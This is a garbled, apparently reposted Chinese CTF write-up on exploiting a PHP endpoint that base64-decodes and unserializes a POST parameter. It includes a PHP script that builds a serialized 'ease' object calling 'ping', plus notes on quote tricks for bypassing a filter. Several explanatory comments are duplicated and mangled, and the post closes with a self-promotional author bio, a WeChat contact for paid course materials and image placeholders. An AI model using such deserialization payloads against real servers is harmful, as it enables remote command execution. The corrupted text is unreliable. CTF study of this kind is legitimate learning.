}
}

ctf=@ctf=@ctf=@_POST[‘ctf’]; /*$_POST 是一个预定义的 PHP 超全局变量,用于接收通过 POST 方法提交的表单数据。
$_POST[‘ctf’] 表示从 POST数组中获取名为ctf的元素的值。@符号是PHP中的错误控制运算符,用于抑制错误和警告信息的输出。∗/@unserialize(base64decode(_POST 数组中获取名为 ctf 的元素的值。@ 符号是 PHP 中的错误控制运算符,用于抑制错误和警告信息的输出。*/ @unserialize(base64_decode(POST数组中获取名为ctf的元素的值。@符号是PHP中的错误控制运算符,用于抑制错误和警告信息的输出。/@unserialize(base64decode(ctf));//代码尝试对ctf参数进行反序列化操作,通过base64decode函数解码后调用unserialize函数进行反序列化?>没有对ctf参数进行反序列化操作,通过base64_decode函数解码后调用unserialize函数进行反序列化 ?> 没有对ctf参数进行反序列化操作,通过base64decode函数解码后调用unserialize函数进行反序列化?>没有对ctf参数进行有效性检查和过滤,这段代码存在安全风险,可能导致代码注入和命令执行漏洞。

2.写个脚本,用这个类,向类中传入参数:

1.与数组匹配,第一个参数“ping”;

2.绕过简单的防火墙,用“”,‘’,

<?php $a = new ease("ping",array(""));//call_user_func_array(callback, param_arr)函数第二个参数必需是数组 $b = serialize($a); /*一个对象被序列化后才能被反序列化;但我们还得序列化后对其进行编码; 可以先对编码后再序列化吗? $b = base64_encode($a); echo serialize($b); 这样是不行,序列化是将对象转换为字符串的过程,而编码是将字符串转换为另一种表示形式的过程,不能颠倒;*/ echo $b; ?>

/*序列化结果:O:4:“ease”:2:{s:12:“easemethod”;s:4:“ping”;s:10:“easeargs”;a:1:{i:0;s:0:“”;}}
O:4:“ease”:2: 类名为ease的对象,4表示类名的长度,2表示对象属性的数量。
s:12:“easemethod”; 表示第一个属性名为easemethod,12表示属性名的长度。
s:4:“ping”; 表示easemethod属性的值为ping,4表示属性值的长度。
s:10:“easeargs”; 表示第二个属性名为easeargs,10表示属性名的长度。
a:1:{i:0;s:0:“”;} 表示easeargs属性的值为一个数组,其中1表示数组元素的数量,i:0表示数组的索引为0,s:2:““表示数组的值为””,0表示值的长度。*/

脚本代码:
<?php class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a = new ease("ping",array("")); $b = serialize($a); echo $b; $c = base64_encode($b); echo "\n"; echo $c; ?>

得到的结果是:

这时返回的是NULL;

去改过滤字符:

$a = new ease(“ping”,array(“‘’”));

双引号里有单引号时:返回 array(0) { }    返回了一个空数组;

该过滤字符:

$a = new ease(“ping”,array(‘“”’));

单引号里有双引号;返回结果:don’t hackNULL

总结以上教训发现绕过字符这点很是重要!!!

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!*
[外链图片转存中…(img-bYcP9Kyd-1712595040739)]

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐